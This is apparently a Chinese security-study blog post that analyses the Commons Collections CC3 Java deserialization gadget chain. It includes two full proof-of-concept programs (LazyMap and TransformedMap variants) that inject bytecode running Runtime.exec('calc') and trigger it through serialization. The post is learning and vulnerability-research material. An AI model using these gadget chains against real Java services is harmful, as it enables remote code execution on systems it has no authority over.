0x00、前言 CC1、CC2过完,后面的链相对来说就容易理解很多,就是再利用链上变种调用其他类方法进行实现,继续往后面学吧。
0x01、Apache Commons Collections描述 引用CC1链分析中的描述 CC链即Commons Collections利用链,主要针对Commons Collections组件发现的利用链。
Apache Commons是Apache软件基金会的项目。Commons的目的是提供可重用的、开源的Java代码。 Apache Commons提供了很多工具类库,他们几乎不依赖其他第三方的类库,接口稳定,集成简单,可以大大提高编码效率和代码质量。 Apache Commons Collections 是对 java.util.Collection 的扩展。 Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
目前 Collections 包有两个 commons-collections 和commons-collections4,commons-collections 最新版本是3.2.2,3系列版本也是只有3.2.2是安全的,不支持泛型,目前官方已不在维护。collections4 目前最新版本是4.4,其中4.0是存在漏洞,最低要求 Java8 以上。相对于 collections 来说完全支持 Java8 的特性并且支持泛型,该版本无法兼容旧有版本,于是为了避免冲突改名为 collections4。推荐直接使用该版本。(注:两个版本可以共存,使用时需要注意)
0x02、环境准备 java版本:jdk8u66(8u71版本之前,8u71之后漏洞已修复) Commons Collections:3.2.1(漏洞版本在3.1-3.2.1) maven项目pom.xml文件中添加依赖
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2 .1 </version> </dependency> </dependencies>
在idea访问Commons Collections
组件的文件时候点击上方的下载源代码就可以看到对应文件的.java文件了
0x03、分析 回顾 CC1、CC2后的链基本就是正向分析,因为在CC1/2中的大部分逆向分析思路已经分析过了,后续的链基本就是在前面的链上面交换利用类和方法实现同一个效果。
先明确的CC3链使用的东西:LazyMap动态代理、javassist字节码、TemplatesImpl字节码转换成类、PriorityQueue优先级队列,相当于把cc1和cc2串起来用了。
简述CC1、CC2的实现流程
CC1(LazyMap链):
生成LazyMap
对象,将InvokerTransformer
利用方法串起来的ChainedTransformer
对象传入LazyMap
构造方法,随后将LazyMap
对象传入AnnotationInvocationHandler
代理类。
通过动态代理,在生成二次代理对象时调用对象的invoke
方法,其中invoke
方法中调用LazyMap.get()
方法、get()
方法调用ChainedTransformer.transform()
方法最后实现InvokerTransformer.transform()
执行命令;
CC2(TemplatesImpl):
通过反射调用InvokerTransformer
构造方法传递方法名getOutputProperties/newTransformer
。
通过javassist
生成恶意代码的字节码。
通过TemplatesImpl
将字节码转化成类。
将反射InvokerTransformer
对象作为比较器传递入PriorityQueue
优先级队列。
将TemplatesImpl
对象元素添加入PriorityQueue
队列。
在比较器进行元素比较时触发TemplatesImpl
的getOutputProperties/newTransformer
方法,触发漏洞。
分析 先不直接给出cc3的poc,先看下调用变化,尽可能逆向思维分析。
主体上还是使用了javassist
&TemplatesImpl
,生成恶意字节码再转化字节码解析成类进行调用,在分析CC2的时候提到调用TemplatesImpl
的(getOutputProperties()
或者newTransformer()
)方法。
其中getOutputProperties()
方法是newTransformer()
的本类的上层调用,其中newTransformer()
还有其他类的调用在CC2分析中过掉了,再看看其他类的调用情况
发现除了cc2利用链的getOutputProperties()
方法外,还剩3个方法(TransformerFactoryImpl.newTransformer()
、TransformerFactoryImpl.newTransformerHandler()
、TrAXFilter.TrAXFilter()
)
其中TransformerFactoryImpl.newTransformer()
和TransformerFactoryImpl.newTransformerHandler()
方法都是TransformerFactoryImpl
类的方法,要调用该两个方法,首先得创建该类的实例,再去调用这两个方法,其次,TransformerFactoryImpl
类并未实现序列化接口,该类的实例无法直接进行序列化,只能通过其他类进行调用,向上未发现能形成链的调用类。
TrAXFilter 剩下还有一个TrAXFilter.TrAXFilter()
方法,TrAXFilter()方法是TrAXFilter类的构造方法。
该类的描述
XMLFilterImpl的骨架扩展
该类通过将Templates
对象作为参数传递进构造方法,且没有其他条件,这里进行了强制转换成TransformerImpl
类,进而直接调用(TransformerImpl)Templates.newTransformer()
方法
因此通过构造函数带参实例化TrAXFilter
类对象,就能执行恶意代码。
但由于TrAXFilter
类并未实现序列化,因此该类无法直接实例化对象并序列化来执行恶意代码,需要找到一个能实例化该类的方法。
到这确实没法通过逆向思维找到对应调用TrAXFilter类
的实例化方法,这里就只有正向分析学习一下。
该类的描述
通过反射创建新对象实例的Transformer实现
其中构造方法传递两个参数,一个class[]
类数组的参数,代表参数类型,一个object[]
对象类数组的参数,代表参数值
其中存在transform方法
这里会先判断传入的input对象是否是Class实例,不是的话直接抛出该类不是Class实例的异常异常,所以这里也必须使用反射传递进来。
if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); }
随后通过调用input对象的带参构造方法,并传递iArgs对象通过newInstance进行实例化
Constructor con = ((Class) input).getConstructor(iParamTypes);return con.newInstance(iArgs);
这里就利用到cc1链中的ChainedTransformer
类的方法把TrAXFilter
和InstantiateTransformer
串起来,通过TrAXFilter
反射对象input
参数传递入InstantiateTransformer.transform(input)
将TrAXFilter
对象进行实例化,调用TrAXFilter
构造方法中的TransformerImpl.newTransformer
,形成完整的利用链。
构造POC 主体没变,依然把cc2中的 javassist
生成恶意代码的字节码和TransformerImpl
转化字节码为实例类 的代码段搬过来
ClassPool pool2=ClassPool.getDefault(); CtClass ct=pool2.makeClass("People2" ); ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); CtConstructor cons2=ct.makeClassInitializer(); cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytecode=ct.toBytecode();byte [][] bytecodes=new byte [][]{bytecode};TemplatesImpl templates=TemplatesImpl.class.newInstance(); setFieldValue(templates,"_bytecodes" ,bytecodes); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_name" ,"test" ); setFieldValue(templates, "_tfactory" , TransformerFactoryImpl.class.newInstance());
恶意字节码以及转化实例的代码有了,接下来就是找到调用,通过TrAXFilter
和InstantiateTransformer
串联起来作为触发点
Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; Transformer transformerChain = new ChainedTransformer (transformers);
接下来使用CC1中的LazyMap链的后半段通过动态代理调用invoke方法执行transformerChain.transform()
作为序列化入口
Map map = new HashMap ();Map Lmap= LazyMap.decorate(map,transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true ); InvocationHandler invohandler=(InvocationHandler)declaredConstructor.newInstance(Generated.class,Lmap); Map proxymap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class []{Map.class},invohandler); InvocationHandler invohandlerproxy=(InvocationHandler)declaredConstructor.newInstance(Generated.class,proxymap);
最后进行序列化和反序列化触发漏洞。
最后的POC:
public static void main (String[] args) throws Exception { ClassPool pool2=ClassPool.getDefault(); CtClass ct=pool2.makeClass("People2" ); ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); CtConstructor cons2=ct.makeClassInitializer(); cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytecode=ct.toBytecode(); byte [][] bytecodes=new byte [][]{bytecode}; TemplatesImpl templates=TemplatesImpl.class.newInstance(); setFieldValue(templates,"_bytecodes" ,bytecodes); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_name" ,"test" ); setFieldValue(templates, "_tfactory" , TransformerFactoryImpl.class.newInstance()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); Map Lmap= LazyMap.decorate(map,transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler invohandler=(InvocationHandler)declaredConstructor.newInstance(Generated.class,Lmap); Map proxymap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class []{Map.class},invohandler); InvocationHandler invohandlerproxy=(InvocationHandler)declaredConstructor.newInstance(Generated.class,proxymap); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc3payload.ser" )); outputStream.writeObject(invohandlerproxy); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc3payload.ser" )); inputStream.readObject(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); } } private static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); }
上述的CC3-POC主要还是加载字节码+LazyMap,在CC1链学习中学到CC1链有LazyMap链还有一条TransformedMap链,且加载字节码主体不变,触发方式也是去调用ChainedTransformer的串联方法。那也同理,可以使用TransformedMap链作为入口点。
构造POC: 同理,加载字节码主体不变,直接搬过来
ClassPool pool2=ClassPool.getDefault(); CtClass ct=pool2.makeClass("People2" ); ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); CtConstructor cons2=ct.makeClassInitializer(); cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytecode=ct.toBytecode();byte [][] bytecodes=new byte [][]{bytecode};TemplatesImpl templates=TemplatesImpl.class.newInstance(); setFieldValue(templates,"_bytecodes" ,bytecodes); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_name" ,"test" ); setFieldValue(templates, "_tfactory" , TransformerFactoryImpl.class.newInstance());
加载字节码有了,现在就是触发字节码的部分,也是ChainedTransformer类的串联方法
Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; Transformer transformerChain = new ChainedTransformer (transformers);
触发方式有了,现在就是找到反序列化入口,即CC1的TransformedMap入口
Map map = new HashMap (); map.put("value" , "aaa" ); Map tmap = TransformedMap.decorate(map, null , transformerChain);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true ); Object obj = declaredConstructor.newInstance(Generated.class, tmap);
最后就是对obj对象进行序列化和反序列化触发利用。
得到完整代码:
public static void main (String[] args) throws Exception { ClassPool pool2=ClassPool.getDefault(); CtClass ct=pool2.makeClass("People2" ); ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); CtConstructor cons2=ct.makeClassInitializer(); cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytecode=ct.toBytecode(); byte [][] bytecodes=new byte [][]{bytecode}; TemplatesImpl templates=TemplatesImpl.class.newInstance(); setFieldValue(templates,"_bytecodes" ,bytecodes); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_name" ,"test" ); setFieldValue(templates, "_tfactory" , TransformerFactoryImpl.class.newInstance()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" , "aaa" ); Map tmap = TransformedMap.decorate(map, null , transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); Object obj = declaredConstructor.newInstance(Generated.class, tmap); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc3payload-2.ser" )); outputStream.writeObject(obj); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc3payload-2.ser" )); inputStream.readObject(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); } } private static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); }
0x04、总结 主要还是变式吧,cc1和cc2的结合,并找到了新的两个类TrAXFilter
、InstantiateTransformer
串联进行执行,采用cc1的LazyMap和cc2的字节码实例化,相对理解起来轻松很多,同理也可以使用cc1的TransformedMap利用链改变入口点,进行再次变式,原理上差不多,接着后面链学习吧。
0x05、参考链接 https://paper.seebug.org/1242/#commons-collections-3 java漫谈